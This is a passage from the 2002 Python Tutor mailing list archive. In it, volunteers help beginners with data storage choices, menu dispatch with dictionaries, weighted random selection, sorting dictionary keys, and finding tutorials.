It has a dictionary style interface, so you can only search very fast on the
key you use to index the pickle, but if the number of objects isn't that
large (say, a few thousand) then you can just loop through them.

A problem with pickle is concurrency. If your program has multiple threads,
or multiple copies of the program will be using the same pickle file at the
same time, there will be problems. If there are any issues like this, pickle
is out, and databases immediately look good. I'm not certain it's a problem,
but I would be very surprised if it wasn't.

> What are the benefits of using the ZODB over a relational DB like
> PostgreSQL, or MySQL?

I don't know. I believe it organizes the data differently; your data can
probably be represented by means of tables, then you want a relational DB.

> This program is expected to retain records of transactions and appointments
> for quite a long time and the sheer volume of them may get up there in size
> over time.  If my little program doesn't cut it in the end, I'd still like
> to be able to easily migrate the date elsewhere.

Whatever you choose, it shouldn't be hard to just read out the data and put
it into the new solution whenever you change it.

If there are no concurrency problems, I'd just use pickle for now. Think
carefully of which functionality you need, write functions for that, that
use pickle internally, so that if you change to a database, only those
functions need changing.

Just my thoughts - I don't have much experience in this area, so these are
pretty generic comments.

-- 
Remco Gerlich


From israel@lith.com  Thu Feb 21 16:00:52 2002
From: israel@lith.com (Israel Evans)
Date: Thu, 21 Feb 2002 08:00:52 -0800
Subject: [Tutor] Creating and storing objects from a GUI...
Message-ID: <AF020C5FC551DD43A4958A679EA16A15017B3F8F@abbott.lith.com>

I was thinking SQL would be nice, but due to my ignorance, databases, still
feel a little like a black box to me.  I'll have to do a little more
research into them.  

What's your opinion on the mixing of XML and RDBMS?  Would data stored in a
Database be saved in table/cell format and then extracted to an XML format
through XSLT in order to be displayed elsewhere, or would the database store
the data already in XML?  I like the promised flexibility of XML but WOW,
the multitudes of specifications and formats and so on is overwhelming!
Would you in your right mind mingle XML and an RDBMS?

Would I be better off saving the atomized data into the RDBMS and crafting a
number of translation engines for each of the formats I want to display the
information in?


Also in response to Remco's (that's a cool name) response, it sounds like a
good idea to try and modularize the project.  So that the functions that
process, parse, display, read, write the data are all separate so that when
things change I only have to change the way one process works rather than
redesigning and rerouting every function to point to the new stuff.

I like the idea of keeping things as simple as possible, but the options and
cool choices are terribly, temptingly distracting.



The program I'm working on is for my wife's dance studio.  It's a sort of
scheduler/calendar/salary tracker for students and staff.  I could probably
buy something that would work right away, but how fun would that be? :)



~Israel~

-----Original Message-----
From: Kirby Urner [mailto:urnerk@qwest.net] 
Sent: 21 February 2002 7:44 AM
To: Israel Evans
Cc: tutor@python.org
Subject: Re: [Tutor] Creating and storing objects from a GUI...


>
>What choices have you made in situations like these?
>
>
>
>Thanks,
>
>
>
>~Israel~

How about just a classic RDBMS (relational database)
with field types.  Then you've got SQL (way powerful)
and portability (dumping tables to files no problem
-- nothing pickled).

If you want to code using objects, those could be
formed during read-in of specific records, e.g.
screen fields might map to myrecord.firstname and
myrecord.lastname where myrecord is an instance.
That way you could stick validation code in your
parent class as methods e.g. myrecord.updateHomePhone()
would make sure this was a legal phone number etc.

myrecord.write() might update the appropriate table,
having all the right SQL syntax and connectivity
objects internally.

Anyway, that's one idea.

Kirby


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From dsh8290@rit.edu  Thu Feb 21 16:23:35 2002
From: dsh8290@rit.edu (dman)
Date: Thu, 21 Feb 2002 11:23:35 -0500
Subject: [Tutor] The print ogre
In-Reply-To: <53190134835-BeMail@gormenghast>
References: <53190134835-BeMail@gormenghast>
Message-ID: <20020221162335.GA29834@dman.ddts.net>

On Thu, Feb 21, 2002 at 08:34:41AM -0500, Charlie Clark wrote:

| Where else does ">>" occur in Python?

Right shift.

>>> print "%x" % 0xAA   
aa
>>> print "%x" % (0xAA >> 1)
55
>>> print "%x" % (0xAA >> 2)
2a
>>> print "%x" % (0xAA >> 3)
15
>>> 

It is a bitwise operator.  aa is 10101010 in binary.  Right shift it
one place and you get 01010101 which in hex is 55.  Shift it two
places and you get 00101010 which is 2a in hex.

-D

-- 

How great is the love the Father has lavished on us,
that we should be called children of God!
        1 John 3:1 



From python_list@edsamail.com.ph  Sat Feb 23 01:01:36 2002
From: python_list@edsamail.com.ph (Python Newbie)
Date: Fri, 22 Feb 2002 17:01:36 -0800
Subject: [Tutor] Just a newbie question...
Message-ID: <E16dwiF-0004MJ-00@mail.python.org>

Hello Python gurus,

Please bear with me, I'm still a 4 days old newbie with Python.  I hope I don't waste your time reading with this very newbie question.  =)

What's wrong with my code?  Why is it that my "x" in fib(x) function is not recognized?

- - - < s n i p > - - -
import sys

print '\n'
print "[ 1 ] The Fibonacci Sequence"
print "[ 2 ] The Multiplication Table"
print "[Q/q] E X I T"
print '\n'
choice=raw_input("Enter your choice: ")

while choice != 'Q' and choice != 'q':
	if choice == 1:
		fib(x)
	elif choice == 2:
		mtable()
	else:
		break

def fib(x):
	x=input("Enter an integer: ")
	a=b=x
	if x > 0:
		print '\n'
		print "The Fibonacci Sequence:", '\n'
		for x in range(10):
			print '\t', a, '\n'
			a, b = b, a+b
fib(x)
		
def mtable():
	print '\n'
	print '\t', '\t', '\t', "The Multiplication Table:", '\n'
	m=1
	while m <= 10:
		def mult(n):
			y=1
			while y<=10:
				print n*y, '\t',
				y=y+1
			print
		mult(m)
		m = m+1
mtable()
- - - < s n i p > - - -

Also, is there a nice way to change this lousy code below?  I want to change it like a "switch" conditional statement in C, to display a "menu-like" choices.  What is a good alternative to "switch" of C in Python?  And what is a "good terminator" if I press "Q or q" in Python?

- - - < s n i p > - - -
print '\n'
print "[ 1 ] The Fibonacci Sequence"
print "[ 2 ] The Multiplication Table"
print "[Q/q] E X I T"
print '\n'
choice=raw_input("Enter your choice: ")

while choice != 'Q' and choice != 'q':
	if choice == 1:
		fib(x)
	elif choice == 2:
		mtable()
	else:
		break
- - - < s n i p > - - -

And last but not the least, how can I test an input key, for example in the "Enter your choice:" located above (my menu), to accept only the particular choices (1, 2, Q or q only)?  If the input key is not in the choices especially if a user inputs a character or string, it will pop an error message.

Thank you very much!

Just a newbie...

__________________________________
www.edsamail.com


From KellyPhe@logica.com  Thu Feb 21 17:15:59 2002
From: KellyPhe@logica.com (Kelly, Phelim)
Date: Thu, 21 Feb 2002 17:15:59 -0000
Subject: [Tutor] Just a newbie question...
Message-ID: <C9054F12A3EED311B0160090274D912106CDE86B@shannon.ie.logica.com>

Hi

You're trying to send x off to fib(x), but x hasn't been defined yet, you
have your 
"x=input("Enter an integer: ")" in the wrong place, you should have it like
so:

----------------
while choice != 'Q' and choice != 'q':
	
      x=input("Enter an integer: ")

      if choice == 1:
		fib(x)
	elif choice == 2:
		mtable()
	else:
		break

def fib(x):
	
	a=b=x
	if x > 0:
		print '\n'
		print "The Fibonacci Sequence:", '\n'
		for x in range(10):
			print '\t', a, '\n'
			a, b = b, a+b
--------------------

That will fix that particular problem anyway!

Phelim.


-----Original Message-----
From: Python Newbie [mailto:python_list@edsamail.com.ph]
Sent: 23 February 2002 01:02
To: Python Tutor Mailing List
Subject: [Tutor] Just a newbie question...


Hello Python gurus,

Please bear with me, I'm still a 4 days old newbie with Python.  I hope I
don't waste your time reading with this very newbie question.  =)

What's wrong with my code?  Why is it that my "x" in fib(x) function is not
recognized?

- - - < s n i p > - - -
import sys

print '\n'
print "[ 1 ] The Fibonacci Sequence"
print "[ 2 ] The Multiplication Table"
print "[Q/q] E X I T"
print '\n'
choice=raw_input("Enter your choice: ")

while choice != 'Q' and choice != 'q':
	if choice == 1:
		fib(x)
	elif choice == 2:
		mtable()
	else:
		break

def fib(x):
	x=input("Enter an integer: ")
	a=b=x
	if x > 0:
		print '\n'
		print "The Fibonacci Sequence:", '\n'
		for x in range(10):
			print '\t', a, '\n'
			a, b = b, a+b
fib(x)
		
def mtable():
	print '\n'
	print '\t', '\t', '\t', "The Multiplication Table:", '\n'
	m=1
	while m <= 10:
		def mult(n):
			y=1
			while y<=10:
				print n*y, '\t',
				y=y+1
			print
		mult(m)
		m = m+1
mtable()
- - - < s n i p > - - -

Also, is there a nice way to change this lousy code below?  I want to change
it like a "switch" conditional statement in C, to display a "menu-like"
choices.  What is a good alternative to "switch" of C in Python?  And what
is a "good terminator" if I press "Q or q" in Python?

- - - < s n i p > - - -
print '\n'
print "[ 1 ] The Fibonacci Sequence"
print "[ 2 ] The Multiplication Table"
print "[Q/q] E X I T"
print '\n'
choice=raw_input("Enter your choice: ")

while choice != 'Q' and choice != 'q':
	if choice == 1:
		fib(x)
	elif choice == 2:
		mtable()
	else:
		break
- - - < s n i p > - - -

And last but not the least, how can I test an input key, for example in the
"Enter your choice:" located above (my menu), to accept only the particular
choices (1, 2, Q or q only)?  If the input key is not in the choices
especially if a user inputs a character or string, it will pop an error
message.

Thank you very much!

Just a newbie...

__________________________________
www.edsamail.com

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor

This e-mail and any attachment is for authorised use by the intended recipient(s) only.  It may contain proprietary material, confidential information and/or be subject to legal privilege.  It should not be copied, disclosed to, retained or used by, any other party.  If you are not an intended recipient then please promptly delete this e-mail and any attachment and all copies and inform the sender.  Thank you.


From shalehperry@attbi.com  Thu Feb 21 17:28:58 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Thu, 21 Feb 2002 09:28:58 -0800 (PST)
Subject: [Tutor] Just a newbie question...
In-Reply-To: <E16dwiF-0004MJ-00@mail.python.org>
Message-ID: <XFMail.20020221092858.shalehperry@attbi.com>

> 
> Also, is there a nice way to change this lousy code below?  I want to change
> it like a "switch" conditional statement in C, to display a "menu-like"
> choices.  What is a good alternative to "switch" of C in Python?  And what is
> a "good terminator" if I press "Q or q" in Python?
> 

menu = {1: fib, 2: mtable}

choice = raw_input("Enter a choice: ")
func = menu[choice]
func()

What this does is make a dictionary (hash table) where each choice is a key and
the value of the key is a function to run.


From scarblac@pino.selwerd.nl  Thu Feb 21 17:36:04 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 21 Feb 2002 18:36:04 +0100
Subject: [Tutor] Just a newbie question...
In-Reply-To: <XFMail.20020221092858.shalehperry@attbi.com>; from shalehperry@attbi.com on Thu, Feb 21, 2002 at 09:28:58AM -0800
References: <E16dwiF-0004MJ-00@mail.python.org> <XFMail.20020221092858.shalehperry@attbi.com>
Message-ID: <20020221183604.A15581@pino.selwerd.nl>

On  0, Sean 'Shaleh' Perry <shalehperry@attbi.com> wrote:
> > 
> > Also, is there a nice way to change this lousy code below?  I want to change
> > it like a "switch" conditional statement in C, to display a "menu-like"
> > choices.  What is a good alternative to "switch" of C in Python?  And what is
> > a "good terminator" if I press "Q or q" in Python?
> > 
> 
> menu = {1: fib, 2: mtable}
> 
> choice = raw_input("Enter a choice: ")
> func = menu[choice]
> func()
> 
> What this does is make a dictionary (hash table) where each choice is a key and
> the value of the key is a function to run.

A problem: 1 and 2 in your menu dictionary are integers, but raw_input()
returns a string.

Either do

menu = {"1": fib, "2": mtable}

or 

choice = int(raw_input("Enter a choice:"))

Also you need to check if the choice actually exists (with
menu.has_key(choice), for instance).

-- 
Remco Gerlich


From Felix.Toran@esa.int  Wed Feb 20 17:40:37 2002
From: Felix.Toran@esa.int (Felix.Toran@esa.int)
Date: Wed, 20 Feb 2002 18:40:37 +0100
Subject: [Tutor] gzip files
Message-ID: <41256B66.005F11AC.00@esahqmail3.hq.esa.int>


Hi all!

I have been trying to decompress a Z file using the gzip module, but I have
found several problems. Please, can someone help me with a short source code
example?

Thanks a lot in advance.

Felix Toran.




From kp87@lycos.com  Thu Feb 21 16:59:32 2002
From: kp87@lycos.com (kevin parks)
Date: Fri, 22 Feb 2002 01:59:32 +0900
Subject: [Tutor] (No Subject)
Message-ID: <PCNJJNIKIAJLDBAA@mailcity.com>

I am trying to add  weights or probabilities to a list of items to be chosen
randomly from a list.

A straight-ahead random picker would be something like:
>>> import random
>>> x=['one', 'two', 'three']
>>> item = random.choose(x)
'two'

here all items have an equal (33.3333% chance) of being picked.

Now i want to say that 'one' has a 10% chance of being picked, 
'two' a 30% chance, and 'three' 60% or whatever...

The poor person's way of doing this is to stack the deck:
x=['one', 'two', 'two', 'two', 'three', 'three', 'three', 'three', 'three', 'three']

But i would rather specify with more flexibility like so:

list1=[('one', 0.10), ('two', 0.30), ('three', 0.60)]
-or-
list1=[[one', 0.10], ['two', 0.30], ['three', 0.60]]


and fancier things..

so i am starting with something like this (I am at a PC room with no
interpreter so if i make a type forgive me)... my version...

import random

def wc(lst):
    n = random.uniform(0,1)
    for item, weight in lst:
        if n < weight:
            break
        n = n - weight
    return item

###

was i headed down the right path here?



i searched c.l.p and found a thread that had the following:

someone said that the subtraction is not 
needed and the comparison with 1.0 can then be eliminated.  By putting largest 
weights first, the remaining number of comparisons is minimized:


list1 = [('three', 0.5), ('two', 0.75)] # else 'one'
def wc(list):
   n = random.uniform(0, 1)
   for item, weight in list:
     if n < weight:
       return item
   return 'one'

I don't understand this since then our last choice has to be hardwired in that
second return statement. I am guessing that the 0.75 is a type and was supposed
to be a 0.25



someone else suggested this with the disclaimer that it 
was not very efficient method and was untested:

def weighted_choice(choices):
    tot = 0
    for w,v in choices:
        tot = tot + w
    d = random.random()*tot
    tot = 0
    for w,v in choices:
        tot = tot + w
        if tot > d:
            return v

I am not yet able to get my head around this one but i put it through danny's histogram()
and it seemed to work.  Which approach is more better (more robust, faster, all-purpose,
efficient, etc.)







Check out Cupid School where you will learn from Matchmaker's
best and brightest. Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From blacktrash@gmx.net  Thu Feb 21 17:03:05 2002
From: blacktrash@gmx.net (Christian Ebert)
Date: Thu, 21 Feb 2002 18:03:05 +0100
Subject: [Tutor] dictionaries
In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C3B9@mbtlipnt02.btlabs.bt.co.uk>
Message-ID: <20020221180325-r01010800-6e602b24-0922-0108@217.0.162.118>

Hello Tutors,

First of all: Compliments to everybody. IMO lurking on this
list - which I have done so far - is the best way to start
learning Python.

alan.gauld@bt.com at 12:11 on Thursday, February 21, 2002:

> for key in mydict.keys().sort():
>     # process mydict[key]

This doesn't work in one line for me. Because sort() sorts
_in place_?

Python 2.2 (#124, Dec 22 2001, 17:36:16)  [CW PPC GUSI2 THREADS GC]
Type "copyright", "credits" or "license" for more information.
MacPython IDE 1.0.1
>>> mydict = {1:'a',2:'b',3:'c'}
>>> for key in mydict.keys().sort():
... 	print mydict[key]
... 
Traceback (most recent call last):
  File "<input>", line 1, in ?
TypeError: iteration over non-sequence
>>> sortedkeys = mydict.keys().sort()
>>> sortedkeys
>>> 
>>> mykeys = mydict.keys()
>>> for key in mykeys.sort():
... 	print mydict[key]
... 
Traceback (most recent call last):
  File "<input>", line 1, in ?
TypeError: iteration over non-sequence
>>> mykeys.sort()
>>> for key in mykeys:
... 	print mydict[key]
... 
a
b
c
>>> 

or did I overlook something?

Christian
-- 
Hyperion in Frankfurt
www.tko.ch/blacktrash
www.schauspielfrankfurt.de


From scarblac@pino.selwerd.nl  Thu Feb 21 18:20:20 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 21 Feb 2002 19:20:20 +0100
Subject: [Tutor] gzip files
In-Reply-To: <41256B66.005F11AC.00@esahqmail3.hq.esa.int>; from Felix.Toran@esa.int on Wed, Feb 20, 2002 at 06:40:37PM +0100
References: <41256B66.005F11AC.00@esahqmail3.hq.esa.int>
Message-ID: <20020221192020.A15866@pino.selwerd.nl>

On  0, Felix.Toran@esa.int wrote:
> I have been trying to decompress a Z file using the gzip module, but I have
> found several problems. Please, can someone help me with a short source code
> example?
> 
> Thanks a lot in advance.

.Z files are compressed using compress, not gzip. I don't know how to
decompress them using Python, other than doing an os.system() call to
uncompress.

-- 
Remco Gerlich


From csmith@blakeschool.org  Thu Feb 21 18:41:17 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Thu, 21 Feb 2002 12:41:17 -0600
Subject: [Tutor] Re: style question
Message-ID: <fc.004c4b6b008e170e004c4b6b008e170e.8e17ab@blakeschool.org>

Thanks for the feedback on this question:

I think it raised a couple good points:

1) avoid code with repeated lines that differ by a small amount; slight
differences that might actually be an error will be easily missed.

2) don't rely on logical values as part of a calculation.  Whereas

def count_evens(list):
  from operator import add
  return reduce(add, [i%2==0 for i in list])

is relying on a logical value, the following does not.  The following
relies on the modulus operator returning the remainder after division by 2
which can only be 0 or 1 (unless it's been redefined for a new class of
variables, but hopefully you would know that and not do it this way).  If
n%2 is 1 then n is odd.

def count_odds(list):
  from operator import add
  return reduce(add, [i%2 for i in list])


The following puts items into the result list only if they are even and
again is not using the logical value as part of the arithmetic so it is ok.

def count_evens(list):
  return len([i for i in list if i%2==0])

But this is even a little less transparent than just clearly indicating an
incremented count variable as suggested by Alan (I changed the "count" to
"odds" to indicate what is being counted):
>
>>>> 
odds
> = 0
>>>> L = [a,b,c,d,e]
>>>> for n in L:
>      if n%2: 
odds
> += 1

/c



From paulsid@shaw.ca  Thu Feb 21 19:12:19 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Thu, 21 Feb 2002 12:12:19 -0700
Subject: [Tutor] (No Subject)
References: <PCNJJNIKIAJLDBAA@mailcity.com>
Message-ID: <3C754693.6936BCFF@shaw.ca>

kevin parks wrote:

> so i am starting with something like this (I am at a PC room with no
> interpreter so if i make a type forgive me)... my version...
[snip]
> was i headed down the right path here?

At a glance your version looks fine.

> someone said that the subtraction is not
> needed and the comparison with 1.0 can then be eliminated.  By putting largest
> weights first, the remaining number of comparisons is minimized:
> 
> list1 = [('three', 0.5), ('two', 0.75)] # else 'one'
[snip again]
> I don't understand this since then our last choice has to be hardwired in that
> second return statement. I am guessing that the 0.75 is a type and was supposed
> to be a 0.25

Looks like it.  I like this solution a little better, except the
hardcoding doesn't seem to be necessary.  If the probabilities add up to
1.0 the last item should always be picked.  I suppose it might be
hardcoded to offset errors caused by floating point arithmetic, but
actually all you need to do is make the last probability in the list 1
and then it will always be picked anyhow.  Of course that may make
things unclear.

> I am not yet able to get my head around this one but i put it through danny's histogram()
> and it seemed to work.  

Yeah, I find that one rather hard to understand as well.

> Which approach is more better (more robust, faster, all-purpose,
> efficient, etc.)

Your version should be fine.  It may not be the fastest but it seems
reasonable to me and it is fairly easy to understand.

However, if I were going to do this kind of thing a lot I would want to
use a class.  One advantage of the class is that it can do all of the
maintenance work upon addition/deletion, which makes picking faster. 
Presumably all of the adding will be done at the start and then it will
just be picking afterwards, so ideally picking should be the fastest
operation.

This sounded like a fun morning project so I came up with the class
below.  Note that deletion is supported but is relatively inefficient. 
The assumption is that deletions normally aren't needed for this type of
operation so it doesn't need to be fast.  Also this class isn't as
robust as it should be; it's just a starting point.

**********

import random

class WeightedList:
    def __init__(self):
        self._total = 0.0
        self._items = []

    def add(self, obj, pct):
        if 100.0 - self._total < pct:
            raise "Percentage too high"
        self._items.append((obj, self._total, self._total + pct))
        self._total = self._total + pct

    def pick(self):
        if not self._items:
            raise "Nothing in weighted list"
        x = random.uniform(0, 1)
        for item in self._items:
            if item[1] <= x < item[2]:
                return item[0]
        # Force return of an item even if percentages don't sum
        # to 1.0 - this may be undesirable for some applications.
        return item[0]

    def remove(self, index):
        self._items[index:index+1] = []
        self.reassign()

    def reassign(self):
        self._total = 0.0
        newitems = []
        for item in self._items:
            pct = item[2] - item[1]
            newitems.append((item[0], self._total, self._total + pct))
            self._total = self._total + pct
        self._items = newitems            

    def debugprint(self):
        i = 0
        for item in self._items:
            print "[%i] %s, %.3f-%.3f (%.1f%%)" % (i, item[0],
                item[1], item[2], (item[2] - item[1]) * 100.0)
            i = i + 1

if __name__ == "__main__":
    wl = WeightedList()
    wl.add("Red", 0.1)
    wl.add("Yellow", 0.4)
    wl.add("Green", 0.3)
    wl.remove(1)
    wl.add("Blue", 0.6)
    wl.debugprint()
    print
    for i in range(10):
        print wl.pick()

**********

Here's a sample output from the test:

[0] Red, 0.000-0.100 (10.0%)
[1] Green, 0.100-0.400 (30.0%)
[2] Blue, 0.400-1.000 (60.0%)

Blue
Blue
Blue
Blue
Blue
Blue
Green
Blue
Red
Blue

Have fun!

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From urnerk@qwest.net  Thu Feb 21 20:12:09 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Thu, 21 Feb 2002 12:12:09 -0800
Subject: [Tutor] Creating and storing objects from a GUI...
In-Reply-To: <AF020C5FC551DD43A4958A679EA16A15017B3F8F@abbott.lith.com>
Message-ID: <4.2.0.58.20020221114634.00cdb500@pop3.norton.antivirus>

At 08:00 AM 2/21/2002 -0800, you wrote:
>I was thinking SQL would be nice, but due to my ignorance, databases,
>still feel a little like a black box to me.  I'll have to do a little
>more research into them.

SQL is a language, I think you realize, not a particular product.
Relational databases have grown up in tandem with this standard
way to pull and put data into 'em.  SQL will also create new tables
from scratch, modify the structure of existing tables, and so on.
If fancy, there's a whole permissions layer, where only some people
get to do some things (such as drop whole tables).  Every RDBMS
from free MySQL through $10K Oracle uses some dialect of SQL, which
is thankfully pretty standard.

XML's tree structures might be the logical result of a query, e.g.
pulling all dancers in Madam X's class might give us:

<class name = "Thursday PM">
<instructor name="Madam X" />
   <student>
     <lastname>Vos Savant</lastname>
     <firstname>Twila</firstname>
   </student>
   <student>
     <lastname>Vos Savant</lastname>
     <firstname>Twila</firstname>
   </student>
</class>

The SQL would look something like:

   SELECT lastname,firstname ;                 # column selection
     FROM students,classes ;                   # two tables
     WHERE students.timeslot = classes.class ; # join condition
     AND classes.class=="Thurs PM" ;           # boolean filter

The XML could then be massaged into formatted output using
XSLT to maybe give the list in table format in the browser (lots
of <td></td> tags and such).

Mediating objects might have done the conversion from returned
records (results of SQL) to XML.

Python could broker the request for this list via a web form,
formulate the SQL and pass it back to whatever RDBMS, and create
the resulting web page on the fly.

But that's all assuming a scenario where your clients are gaining
password-protected access to scheduling info from home, using
Netscape or whatever.  You could add this functionality later
-- if you have a server running Apache or whathaveyou.  But if
this is just a back office app running on a standalone machine,
there's no point blueprinting all this fancy XML->XHTML via XSLT
junk, fun though it may be to play with.

To be super-realistic about the whole thing, if I had a client
breathing down my neck, wanting this calendar/scheduling utility
yesterday, I'd whip it up in Visual FoxPro (presuming they're
Windows).

VFP is vastly superior to VB when it comes to RDBMS type stuff
IMO, has embedded SQL and one of those classic intuitive drag 'n
drop approaches to interface building.  Just slide a button or
grid (rows-n-columns gizmo) onto a form, add some code, and
you're done.  Subclass and customized the canned versions if
you prefer.  Want a calendar object (Gregorian) where you just
click on the day?  There's a canned ActiveX object for that --
just slide it onto a form and bingo bango, you're done.

The thing about Python is, although it's batteries included, if
you want one of those drag-controls-from-a-palette type IDEs for
interface-building, you've gotta pay (unless you can find some
alpha or beta thing).  Hand-crafting a Tk or wx GUI for anything
slightly complicated, even using Pmw widgets (TK widgets on
steroids) is in my opinion rather tedious -- coming as I do,
spoiled as I am, from using the VFP devel environment.

Kirby



From dyoo@hkn.eecs.berkeley.edu  Thu Feb 21 20:34:36 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Thu, 21 Feb 2002 12:34:36 -0800 (PST)
Subject: [Tutor] dictionaries
In-Reply-To: <20020221180325-r01010800-6e602b24-0922-0108@217.0.162.118>
Message-ID: <Pine.LNX.4.21.0202211227250.13603-100000@hkn.eecs.berkeley.edu>

On Thu, 21 Feb 2002, Christian Ebert wrote:

> > for key in mydict.keys().sort():
> >     # process mydict[key]
> 
> This doesn't work in one line for me. Because sort() sorts
> _in place_?

Yes, the sort() method of lists does it in-place, so the code above
wouldn't work.  However, we can fix that.  Here's a function that'll
return a new sorted list:

###
def fsort(L, f=cmp):
    """A "functional" sort that returns a copy of L, with all its contents
       sorted out."""
    L2 = L[:]
    L2.sort(f)
    return L2
###


And let's make sure that this thing actually works:

###
>>> mydict = {2:'b', 1:'a', 3:'c'}
>>> for key in fsort(mydict.keys()):
...     print mydict[key]
... 
a
b
c
>>> for key in fsort(mydict.keys(),
...                  lambda x,y: -cmp(x, y)):
...     print mydict[key]
... 
c
b
a
###


Good luck!



From erikprice@mac.com  Fri Feb 22 03:59:34 2002
From: erikprice@mac.com (Erik Price)
Date: Thu, 21 Feb 2002 22:59:34 -0500
Subject: [Tutor] Python in 24 hours more like 24 years
In-Reply-To: <019d01c1babb$1d0f09a0$12f6c50a@LDR.local>
Message-ID: <955B2B78-2748-11D6-9572-00039351FE6A@mac.com>

On Thursday, February 21, 2002, at 04:35  AM, Jonikas Valdemaras wrote:

> Many thanks for all answers,
>
> I'm slightly depressed :) because Laningham's book
> is the only choice in ours. So, I can't get your
> recommended books.
> If I understood correctly, not bad way (at least better
> than Laningham's book :) would be to use tutolias
> from www.python.org. Correct?

I'm still learning Python.  So don't take my words as those of Someone 
Who Knows.  But I have found that there are tutorials all over the web 
that teach all kinds of programming.  In fact, I did this with PHP -- I 
used a book to get me going, but halfway through the book I got bored 
with it because the tutorials on the web were much more concise (the 
book was a giant Wrox book, admittedly).

The fact is, though, is that reading tutorials on a screen just sucks.  
There's nothing like curling up in bed and reading a book.  Some people 
might think it's weird, because you don't have a computer handy to try 
stuff out on, but I prefer to ingest a chapter and then try it out 
later.  So I say, get the book if it's convenient to do so, but 
otherwise, check out the following sites:

DevShed has good quick tutorials that give you a rough idea of the 
topic.  But if you want to know more, you need to know where the online 
documentation is.  They have a fairly lengthy tutorial on Python, but it 
doesn't teach you how to program.
http://devshed.com/

This is a pretty good tutorial.  "How to Think Like a Computer 
Scientist."  The name doesn't excite me, but it doesn't leave much to 
question -- read through this once and then go back and re-read the 
parts that you didn't totally understand.  I found it comprehensive.
http://www.ibiblio.org/obp/thinkCSpy/

The problem with a lot of tutorials (like the DevShed one, above), is 
that it's easy to teach you the basic structures of a language, like 
functions and naming rules and whatever.  But to actually teach you some 
programming concepts is a trickier task.  That's where I see myself -- I 
sort of already "know" Python's "rules", but actually writing efficient 
programs (the fun part) is something that I need to constantly work on.  
I haven't had time to read this tutorial, but I think it addresses this 
very subject...
http://www.mindview.net/Books/Python/ThinkingInPython.html

And Alan Gauld has already mentioned his site.  There you go, now you 
don't have to buy a book.  Between these four tutorials, which will take 
you a bit to get through, you should have a grasp of Python and be able 
to start learning from yourself.


Erik



From kauphlyn@speakeasy.org  Fri Feb 22 04:59:59 2002
From: kauphlyn@speakeasy.org (Daniel Coughlin)
Date: Thu, 21 Feb 2002 20:59:59 -0800 (PST)
Subject: [Tutor] Python in 24 hours more like 24 years
In-Reply-To: <955B2B78-2748-11D6-9572-00039351FE6A@mac.com>
Message-ID: <Pine.LNX.4.44.0202212031160.24351-100000@grace.speakeasy.net>

I was looking for the tutorial that really turned me on and found the following 
page
http://www.awaretek.com/tutorials.html
which is a big list of python tutorials. 

alas, the tutorial i learned from isnt there. and I cant remember where it was. 
by the way, I struggled for almost a year trying to learn 'how to program'. I 
spent time courting  c++, perl, and visual 
basic before python actually requited my advances. And it was love at 
first sight. Now I am actually getting paid to charm and seduce Java. But python 
will always be my first love ;-)  


Plug: 
Wesley Chun's Core Python Programming definately was the very best books 
for me. Might be a little much for a true beginner - but I recommend it anyway.

Also as Cameron said Python Essential Reference rocks. It can fit in your back 
pocket!



~d





On Thu, 21 Feb 2002, Erik Price wrote:

> 
> On Thursday, February 21, 2002, at 04:35  AM, Jonikas Valdemaras wrote:
> 
> > Many thanks for all answers,
> >
> > I'm slightly depressed :) because Laningham's book
> > is the only choice in ours. So, I can't get your
> > recommended books.
> > If I understood correctly, not bad way (at least better
> > than Laningham's book :) would be to use tutolias
> > from www.python.org. Correct?
> 
> I'm still learning Python.  So don't take my words as those of Someone 
> Who Knows.  But I have found that there are tutorials all over the web 
> that teach all kinds of programming.  In fact, I did this with PHP -- I 
> used a book to get me going, but halfway through the book I got bored 
> with it because the tutorials on the web were much more concise (the 
> book was a giant Wrox book, admittedly).
> 
> The fact is, though, is that reading tutorials on a screen just sucks.  
> There's nothing like curling up in bed and reading a book.  Some people 
> might think it's weird, because you don't have a computer handy to try 
> stuff out on, but I prefer to ingest a chapter and then try it out 
> later.  So I say, get the book if it's convenient to do so, but 
> otherwise, check out the following sites:
> 
> DevShed has good quick tutorials that give you a rough idea of the 
> topic.  But if you want to know more, you need to know where the online 
> documentation is.  They have a fairly lengthy tutorial on Python, but it 
> doesn't teach you how to program.
> http://devshed.com/
> 
> This is a pretty good tutorial.  "How to Think Like a Computer 
> Scientist."  The name doesn't excite me, but it doesn't leave much to 
> question -- read through this once and then go back and re-read the 
> parts that you didn't totally understand.  I found it comprehensive.
> http://www.ibiblio.org/obp/thinkCSpy/
> 
> The problem with a lot of tutorials (like the DevShed one, above), is 
> that it's easy to teach you the basic structures of a language, like 
> functions and naming rules and whatever.  But to actually teach you some 
> programming concepts is a trickier task.  That's where I see myself -- I 
> sort of already "know" Python's "rules", but actually writing efficient 
> programs (the fun part) is something that I need to constantly work on.  
> I haven't had time to read this tutorial, but I think it addresses this 
> very subject...
> http://www.mindview.net/Books/Python/ThinkingInPython.html
> 
> And Alan Gauld has already mentioned his site.  There you go, now you 
> don't have to buy a book.  Between these four tutorials, which will take 
> you a bit to get through, you should have a grasp of Python and be able 
> to start learning from yourself.
> 
> 
> Erik
> 
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 



From randytalbot@comcast.net  Fri Feb 22 05:11:42 2002
From: randytalbot@comcast.net (Randy Talbot)
Date: Fri, 22 Feb 2002 00:11:42 -0500
Subject: FW: [Tutor] Newbie!
Message-ID: <000001c1bb5f$6aca13c0$5b582144@aberdn01.md.comcast.net>


> Hi everybody!
> 
> I'm a newbie in programming languages and I was instructed to begin
with
> Python! Could you please tell me the correct steps, should I make, in
> order to really learn the language and be possible to write serious
>programes? Which books would you suggest to buy for this? (and of
